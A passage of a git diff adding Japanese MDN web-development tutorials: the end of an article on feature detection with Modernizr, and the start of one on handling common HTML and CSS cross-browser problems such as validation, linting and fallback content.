href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/supports-styling.css">supports-styling.css</a></code>. Save them as <code>modernizr-css.html</code> and <code>modernizr-css.css</code>.</li> + <li>Update your {{htmlelement("link")}} element in your HTML so it points to the correct CSS file (you should also update your {{htmlelement("title")}} element to something more suitable!): + <pre class="brush: html notranslate"><link href="modernizr-css.css" rel="stylesheet"></pre> + </li> + <li>Above this <code><link></code> element, add a {{htmlelement("script")}} element to apply the Modernizr library to the page, as shown below. This needs to be applied to the page before any CSS (or JavaScript) that might make use of it. + <pre class="brush: html notranslate"><script src="modernizr-custom.js"></script></pre> + </li> + <li>Now edit your opening <code><html></code> tag, so that it looks like this: + <pre class="brush: html notranslate"><html class="no-js"></pre> + </li> +</ol> + +<p>At this point, try loading your page, and you'll get an idea of how Modernizr works for CSS features. If you look at the DOM inspector of your browser's developer tools, you'll see that Modernizr has updated your <code><html></code> <code>class</code> value like so:</p> + +<pre class="notranslate"><html class="js no-htmlimports sizes flash transferables applicationcache blobconstructor +blob-constructor cookies cors ...AND LOADS MORE VALUES!></pre> + +<p>It now contains a large number of classes that indicate the support status of different technology features. As an example, if the browser didn't support flexbox at all, <code><html></code> would be given a class name of <code>no-flexbox</code>. If it did support modern flexbox, it would get a class name of <code>flexbox</code>. If you search through the class list, you'll also see others relating to flexbox, like:</p> + +<ul> + <li><code>flexboxlegacy</code> for the old flexbox spec (2009).</li> + <li><code>flexboxtweener</code> for 2011 in between syntax supported by IE10.</li> + <li><code>flexwrap</code> for the {{cssxref("flex-wrap")}} property, which isn't present in some implementations.</li> +</ul> + +<div class="note"> +<p><strong>Note</strong>: You can find a list of what all the class names mean — see <a href="https://modernizr.com/docs#features">Features detected by Modernizr</a>.</p> +</div> + +<p>Moving on, let's update our CSS to use Modernizr rather than <code>@supports</code>. Go into <code>modernizr-css.css</code>, and replace the two <code>@supports</code> blocks with the following:</p> + +<pre class="brush: css notranslate">/* Properties for browsers with modern flexbox */ + +.flexbox main { + display: flex; +} + +.flexbox main div { + padding-right: 4%; + flex: 1; +} + +.flexbox main div:last-child { + padding-right: 0; +} + +/* Fallbacks for browsers that don't support modern flexbox */ + +.no-flexbox main div { + width: 22%; + float: left; + padding-right: 4%; +} + +.no-flexbox main div:last-child { + padding-right: 0; +} + +.no-flexbox footer { + clear: left; +}</pre> + +<p>So how does this work? Because all those class names have been put on the <code><html></code> element, you can target browsers that do or don't support a feature using specific descendant selectors. So here we're applying the top set of rules only to browsers that do support flexbox, and the bottom set of rules only to browsers that don't (<code>no-flexbox</code>).</p> + +<div class="note"> +<p><strong>Note</strong>: Bear in mind that all of Modernizr's HTML and JavaScript feature tests are also reported in these class names, so you can quite happily apply CSS selectively based on whether the browser supports HTML or JavaScript features, if needed.</p> +</div> + +<div class="note"> +<p><strong>Note</strong>: If you have trouble getting this to work, check your code against our <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/modernizr-css.html">modernizr-css.html</a></code> and <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/modernizr-css.css">modernizr-css.css</a></code> files (see this running live also).</p> +</div> + +<h3 id="JavaScript_2">JavaScript</h3> + +<p>Modernizr is also equally well-prepared for implementing JavaScript feature detects too. It does this by making the global <code>Modernizr</code> object available to the page it is applied to, which contains results of the feature detects as <code>true</code>/<code>false</code> properties.</p> + +<p>For example, load up our <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/modernizr-css.html">modernizr-css.html</a></code> example in your browser, then try going to your JavaScript console and typing in <code>Modernizr.</code> followed by some of those class names (they are the same here too). For example:</p> + +<pre class="notranslate">Modernizr.flexbox +Modernizr.websqldatabase +Modernizr.xhr2 +Modernizr.fetch</pre> + +<p>The console will return <code>true</code>/<code>false</code> values to indicate whether your browser supports those features or not.</p> + +<p>Let's look at an example to show how you'd use those properties.</p> + +<ol> + <li>First of all, make a local copy of the <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/modernizr-js.html">modernizr-js.html</a></code> example file.</li> + <li>Attach the Modernizr library to the HTML using a <code><script></code> element, as we have done in previous demos. Put it above the existing <code><script></code> element, which is attaching the Google Maps API to the page.</li> + <li>Next, fill in the <code>YOUR-API-KEY</code> placeholder text in the second <code><script></code> element (as it is now) with a valid Google Maps API key. To get a key, sign in to a Google account, go to the <a href="https://developers.google.com/maps/documentation/javascript/get-api-key">Get a Key/Authentication</a> page, then click the blue <em>Get a Key</em> button and follow the instructions.</li> + <li>Finally, add another <code><script></code> element at the bottom of the HTML body (just before the <code></body></code> tag), and put the following script inside the tags: + <pre class="brush: js notranslate">if (Modernizr.geolocation) { + + navigator.geolocation.getCurrentPosition(function(position) { + + let latlng = new google.maps.LatLng(position.coords.latitude,position.coords.longitude); + let myOptions = { + zoom: 8, + center: latlng, + mapTypeId: google.maps.MapTypeId.TERRAIN, + disableDefaultUI: true + } + let map = new google.maps.Map(document.getElementById("map_canvas"), myOptions); + }); + +} else { + const para = document.createElement('p'); + para.textContent = 'Argh, no geolocation!'; + document.body.appendChild(para); +}</pre> + </li> +</ol> + +<p>Try your example out! Here we use the <code>Modernizr.geolocation</code> test to check whether geolocation is supported by the current browser. If it is, we run some code that gets your device's current location, and plots it on a Google Map.</p> + +<h2 id="Summary">Summary</h2> + +<p>This article covered feature detection in a reasonable amount of detail, going through the main concepts and showing you how to both implement your own feature detection tests and use the Modernizr library to implement tests more easily.</p> + +<p>Next up, we'll start looking at automated testing.</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Accessibility","Learn/Tools_and_testing/Cross_browser_testing/Automated_testing", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Introduction to cross browser testing</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Strategies for carrying out testing</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Handling common HTML and CSS problems</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Handling common JavaScript problems</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Handling common accessibility problems</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Implementing feature detection</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Introduction to automated testing</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Setting up your own test automation environment</a></li> +</ul> diff --git a/files/ja/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html b/files/ja/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html new file mode 100644 index 0000000000..62e21f35a2 --- /dev/null +++ b/files/ja/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html @@ -0,0 +1,508 @@ +--- +title: 一般的な HTML と CSS の問題への対処 +slug: Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS +tags: + - CSS + - CodingScripting + - HTML + - linting + - クロスブラウザ + - セレクタ + - テスト + - 初心者 + - 学習 + - 記事 +translation_of: Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies","Learn/Tools_and_testing/Cross_browser_testing/JavaScript", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> + +<p class="summary">ここでは、HTML と CSS のコードで発生する可能性のある一般的なクロスブラウザの問題、および問題の発生を防ぐため、または発生する問題を修正するために使用できるツールについて具体的に説明します。これには、コードのリンティング、CSS プレフィックスの処理、問題を追跡するためのブラウザの開発者ツールの使用、ブラウザにサポートを追加するための polyfill の使用、レスポンシブデザイン問題への取り組みなどが含まれます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>主要な <a href="/ja/docs/Learn/HTML">HTML</a>、<a href="/ja/docs/Learn/CSS">CSS</a>、および <a href="/ja/docs/Learn/JavaScript">JavaScript</a> 言語に精通していること。<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">クロスブラウザテストの原則</a>の高水準のアイデア。</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>一般的な HTML と CSS のクロスブラウザの問題を診断し、それらを修正するための適切なツールとテクニックを使うことができるようにする。</td> + </tr> + </tbody> +</table> + +<h2 id="HTML_と_CSS_の問題">HTML と CSS の問題</h2> + +<p>一部の HTML と CSS の問題<span class="tlid-translation translation" lang="ja"><span title="">は、両方の言語がかなり単純で、コードがうまく作成され、効率的であり、ページ上に「機能の目的」を意味的に記述していることを確認するという意味で開発者がそれらについて真剣に考えていないという事実にあります。</span></span>最悪の場合、JavaScript を使用して Web ページのコンテンツとスタイル全体を生成するため、ページにアクセスできなくなり、パフォーマンスが低下します (DOM 要素の生成にはコストがかかります)。他のケースでは、初期の機能がブラウザ間で一貫してサポートされていないため、一部の機能やスタイルが一部のユーザには機能しないことがあります。<br> + レスポンシブデザインの問題も一般的です。デスクトップブラウザで見栄えの良いサイトはモバイル端末だとひどい経験を提供するかもしれません、内容が読むには小さすぎるか、高精細なアニメーションのせいで遅いでしょう。</p> + +<p>HTML/CSS に起因するクロスブラウザエラーを減らす方法を見てみましょう。</p> + +<h2 id="まず最初に：一般的な問題を解決する">まず最初に：一般的な問題を解決する</h2> + +<p><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction#Testingdiscovery">このシリーズの最初の記事</a>では、まずクロスブラウザの問題に集中する前に、デスクトップ/モバイルの最新ブラウザでいくつかテストしてコードが正常に機能するか確認することをお勧めします。</p> + +<p><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">HTML のデバッグ</a>および <a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS">CSS のデバッグ</a>の記事では、HTML/CSS のデバッグに関する基本的なガイダンスをいくつか提供しました。基本に慣れていない場合は、先に進む前に必ずこれらの記事をよく読んでください。</p> + +<p>基本的には、HTML と CSS のコードが整形式で、構文エラーがないかどうかをチェックすることです。</p> + +<div class="note"> +<p><strong>メモ</strong>: CSS と HTML に関する一般的な問題の1つは、異なる CSS ルールが互いに矛盾が生じるときに発生します。 サードパーティのコードを使用している場合、これは特に問題になる可能性があります。たとえば、CSS フレームワークを使用して、それが使用しているクラス名の1つが別の目的ですでに使用されているものと衝突しているとします。 または、ある種のサードパーティ API (たとえば広告バナーの生成) によって生成された HTML に、すでに別の目的で使用されているクラス名または ID が含まれていることもあります。これが起こらないようにするには、最初に使用しているツールを調べて、それらを中心にコードを設計する必要があります。また、"名前空間" CSS も価値があります。ウィジェットがある場合は、それが明確なクラスを持っていることを確認してから、このクラスでウィジェット内の要素を選択するセレクタを起動します。そうすれば競合は起こりにくくなります。例えば、 <code>.audio-player ul a</code> です。</p> +</div> + +<h3 id="検証">検証</h3> + +<p>HTML の検証では、すべてのタグが適切に閉じられてネストされていること、DOCTYPE を使用していること、およびタグを正しい目的で使用していることを確認します。良い戦略はコードを定期的に検証することです。これを可能にするサービスの 1 つに、W3C <a href="https://validator.w3.org/">マークアップ検証サービス</a>があります。これを使用すると、コードを指定してエラーのリストを返すことができます。</p> + +<p><img alt="The HTML validator homepage" src="https://mdn.mozillademos.org/files/12441/validator.png" style="display: block; margin: 0px auto;"></p> + +<p>CSS にも同様の話があります — プロパティ名が正しくつづられていること、プロパティ値が正しくつづられていて、それらが使われているプロパティに対して有効であること、中括弧を見逃していないということです。この目的のために、W3C には <a href="http://jigsaw.w3.org/css-validator/">CSS Validator</a> も用意されています。</p> + +<h3 id="Linters">Linters</h3> + +<p>取りうるもう一つの良い選択肢は、エラーを指摘するだけでなく、CSS の悪いプラクティスについての警告、および他の点にもフラグを立てることができる、いわゆる Linter アプリケーションです。Linter は一般的に、エラー/警告の報告においてより厳格またはより緩やかになるようにカスタマイズできます。</p> + +<p>オンラインリンターアプリケーションは多数ありますが、そのうち最良のものはおそらく <a href="https://www.dirtymarkup.com/">Dirty Markup</a> (HTML、CSS、JavaScript)、および <a href="http://csslint.net/">CSS Lint</a> (CSS のみ) です。これらはコードをウィンドウに貼り付けることができ、十字でどんなエラーにでもフラグを立てるでしょう、そしてそれは問題が何であるかを知らせるエラーメッセージを得るためにそれから隠されることができます。Dirty Markup では、<em>Clean</em> ボタンを使用してマークアップを修正することもできます。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14113/dirty-markup.png" style="border-style: solid; border-width: 1px; display: block; height: 203px; margin: 0px auto; width: 1204px;"></p> + +<p>However, it is not very convenient to have to copy and paste your code over to a web page to check its validity several times. What you really want is a linter that will fit into your standard workflow with the minimum of hassle.</p> + +<p>Many code editors have linter plugins. Github's <a href="https://atom.io/">Atom</a> code editor for example has a rich plugin ecosystem available, with many linting options. To show you an example of how such plugins generally work:</p> + +<ol> + <li>Install Atom (if you haven't got an up-to-date version already installed) — download it from the Atom page linked above.</li> + <li>Go to Atom's <em>Preferences...</em> dialog (e.g. by Choosing <em>Atom > Preferences...</em> on Mac, or <em>File > Preferences...</em> on Windows/Linux) and choose the <em>Install</em> option in the left hand menu.</li> + <li>In the <em>Search packages</em> text field, type "lint" and press Enter/Return to search for linting-related packages.</li> + <li>You should see a package called <strong>lint</strong> at the top of the list. Install this first (using the <em>Install</em> button), as other linters rely on it to work. After that, install the <strong>linter-csslint</strong> plugin for linting CSS, and the <strong>linter-tidy</strong> plugin for linting HTML.</li> + <li>After the packages have finished installing, try loading up an HTML file and a CSS file: you'll see any issues highlighted with green (for warnings) and red (for errors) circles next to the line numbers, and a separate panel at the bottom provides line numbers, error messages, and sometimes suggested values or other fixes.</li> +</ol> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14109/atom-htmltidy.png" style="display: block; margin: 0 auto;"><img alt="" src="https://mdn.mozillademos.org/files/14107/atom-csslint.png" style="display: block; height: 516px; margin: 0px auto; width: 700px;"></p> + +<p>Other popular editors have similar linting packages available. For example, see:</p> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/www.sublimelinter.com/">SublimeLinter</a> for Sublime Text</li> + <li><a href="https://sourceforge.net/projects/notepad-linter/">Notepad++ linter</a></li> +</ul> + +<h3 id="Browser_developer_tools">Browser developer tools</h3> + +<p>The developer tools built into most browsers also feature useful tools for hunting down errors, mainly for CSS.</p> + +<div class="note"> +<p><strong>メモ</strong>: ブラウザが不正な形式のマークアップを自動的に修正しようとするため、HTML エラーは開発ツールではそれほど簡単には表示されない傾向があります。W3C バリデータは HTML エラーを取得するための最良の方法です — 上の {{anch("Validation")}} を見てください。</p> +</div> + +<p>As an example, in Firefox the CSS inspector will show CSS declarations that aren't applied crossed out, with a warning triangle. Hovering the warning triangle will provide a descriptive error message:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14111/css-message-devtools.png" style="display: block; height: 311px; margin: 0px auto; width: 451px;"></p> + +<p>Other browser devtools have similar features.</p> + +<h2 id="Common_cross_browser_problems">Common cross browser problems</h2> + +<p>Now let's move on to look at some of the most common cross browser HTML and CSS problems. The main areas we'll look at are lack of support for modern features, and layout issues.</p> + +<h3 id="Older_browsers_not_supporting_modern_features">Older browsers not supporting modern features</h3> + +<p>This is a common problem, especially when you need to support old browsers (such as old IE versions) or you are using features that are implemented using CSS prefixes. In general, most core HTML and CSS functionality (such as basic HTML elements, CSS basic colors and text styling) works across most browsers you'll want to support; more problems are uncovered when you start wanting to use newer features such as <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a>, or <a href="https://developer.mozilla.org/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery">HTML5 video/audio</a>, or even more nascent, <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Grids#Native_CSS_Grids_with_Grid_Layout">CSS Grids</a> or <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_boxes/Advanced_box_effects#-webkit-background-clip_text">-webkit-background-clip: text</a>.</p> + +<p>Once you've identified a list of potential problem technologies you will be using, it is a good idea to research what browsers they are supported in, and what related techniques are useful. See {{anch("Finding help")}} below.</p> + +<h4 id="HTML_fallback_behaviour">HTML fallback behaviour</h4> + +<p>Some problems can be solved by just taking advantage of the natural way in which HTML/CSS work.</p> + +<p>Unrecognised HTML elements are treated by the browser as anonymous inline elements (effectively inline elements with no semantic value, similar to {{htmlelement("span")}} elements). You can still refer to them by their names, and style them with CSS, for example — you just need to make sure they are behaving as you want them to, for example setting <code>display: block;</code> on all of the new semantic elements (such as {{htmlelement("article")}}, {{htmlelement("aside")}}, etc.), but only in old versions of IE that don't recognise them (so, IE 8 and lower). This way new browsers can just use the code as normal, but older IE versions will be able to style these elements too.</p> + +<div class="note"> +<p><strong>Note</strong>: See {{anch("IE conditional comments")}} for the best way to do this.</p> +</div> + +<p>More complex elements like HTML <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video"><video></a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/audio"><audio></a></code>, and <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/canvas"><canvas></a></code> (and other features besides) have natural mechanisms for fallbacks to be added, which work on the same principle as described above. You can add fallback content in between the opening and closing tags, and non-supporting browsers will effectively ignore the outer element and run the nested content.</p> + +<p>For example:</p> + +<pre class="brush: html language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>video</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>video<span class="punctuation token">"</span></span> <span class="attr-name token">controls</span> <span class="attr-name token">preload</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>metadata<span class="punctuation token">"</span></span> <span class="attr-name token">poster</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>img/poster.jpg<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>source</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>video/tears-of-steel-battle-clip-medium.mp4<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>video/mp4<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>source</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>video/tears-of-steel-battle-clip-medium.webm<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>video/webm<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>source</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>video/tears-of-steel-battle-clip-medium.ogg<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>video/ogg<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="comment token"><!-- Flash fallback --></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>object</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>application/x-shockwave-flash<span class="punctuation token">"</span></span> <span class="attr-name token">data</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>flash-player.swf?videoUrl=video/tears-of-steel-battle-clip-medium.mp4<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>1024<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>576<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>param</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>movie<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>flash-player.swf?videoUrl=video/tears-of-steel-battle-clip-medium.mp4<span class="punctuation token">"</span></span> <span class="punctuation token">/></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>param</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>allowfullscreen<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>true<span class="punctuation token">"</span></span> <span class="punctuation token">/></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>param</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>wmode<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>transparent<span class="punctuation token">"</span></span> <span class="punctuation token">/></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>param</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>flashvars<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>controlbar=over<span class="entity token" title="&">&amp;</span>image=img/poster.jpg<span class="entity token" title="&">&amp;</span>file=flash-player.swf?videoUrl=video/tears-of-steel-battle-clip-medium.mp4<span class="punctuation token">"</span></span> <span class="punctuation token">/></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>img</span> <span class="attr-name token">alt</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Tears of Steel poster image<span class="punctuation token">"</span></span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>img/poster.jpg<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>1024<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>428<span class="punctuation token">"</span></span> <span class="attr-name token">title</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>No video playback possible, please download the video from the link below<span class="punctuation token">"</span></span> <span class="punctuation token">/></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>object</span><span class="punctuation token">></span></span> + <span class="comment token"><!-- Offer download --></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>a</span> <span class="attr-name token">href</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>video/tears-of-steel-battle-clip-medium.mp4<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>Download MP4<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>a</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>video</span><span class="punctuation token">></span></span></code></pre> + +<p>This example (taken from <a href="https://developer.mozilla.org/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player">Creating a cross-browser video player</a>) includes not only a Flash video fallback for older IE versions, but also a simple link allowing you to download the video if even the Flash player doesn't work, so at least the user can still access the video.</p> + +<div class="note"> +<p><strong>Note</strong>: 3rd party libraries like <a href="http://videojs.com/">Video.js</a> and <a href="https://www.jwplayer.com/">JW Player</a> use such fallback mechanisms to provide cross-browser support.</p> +</div> + +<p>HTML5 form elements also exhibit fallback qualities — HTML5 introduced some special <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input"><input></a></code> types for inputting specific information into forms, such as times, dates, colors, numbers, etc. These are very useful, particularly on mobile platforms, where providing a pain-free way of entering data is very important for the user experience. Supporting platforms provide special UI widgets when these input types are used, such as a calendar widget for entering dates.</p> + +<p>The following example shows date and time inputs:</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>form</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>div</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>date<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>Enter a date:<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>label</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>date<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>date<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>div</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>div</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>time<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>Enter a time:<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>label</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>time<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>time<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>div</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>form</span><span class="punctuation token">></span></span></code></pre> + +<p>The output of this code is as follows:</p> + +<div class="hidden"> +<h6 id="Hidden_example">Hidden example</h6> + +<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token">label</span> <span class="punctuation token">{</span> + <span class="property token">float</span><span class="punctuation token">:</span> left<span class="punctuation token">;</span> + <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">30</span><span class="token unit">%</span><span class="punctuation token">;</span> + <span class="property token">text-align</span><span class="punctuation token">:</span> right<span class="punctuation token">;</span> + <span class="punctuation token">}</span> + + <span class="selector token">input</span> <span class="punctuation token">{</span> + <span class="property token">float</span><span class="punctuation token">:</span> right<span class="punctuation token">;</span> + <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">65</span><span class="token unit">%</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + + <span class="selector token">label, input</span> <span class="punctuation token">{</span> + <span class="property token">margin-bottom</span><span class="punctuation token">:</span> <span class="number token">20</span><span class="token unit">px</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + + <span class="selector token">div</span> <span class="punctuation token">{</span> + <span class="property token">clear</span><span class="punctuation token">:</span> both<span class="punctuation token">;</span> + <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">10</span><span class="token unit">px</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + + <span class="selector token">body</span> <span class="punctuation token">{</span> + <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">400</span><span class="token unit">px</span><span class="punctuation token">;</span> + <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">0</span> auto<span class="punctuation token">;</span> + <span class="punctuation token">}</span></code></pre> +</div> + +<p> </p> + +<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>form</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>div</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>date<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>Enter a date:<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>label</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>date<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>date<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>div</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>div</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>time<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>Enter a time:<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>label</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation 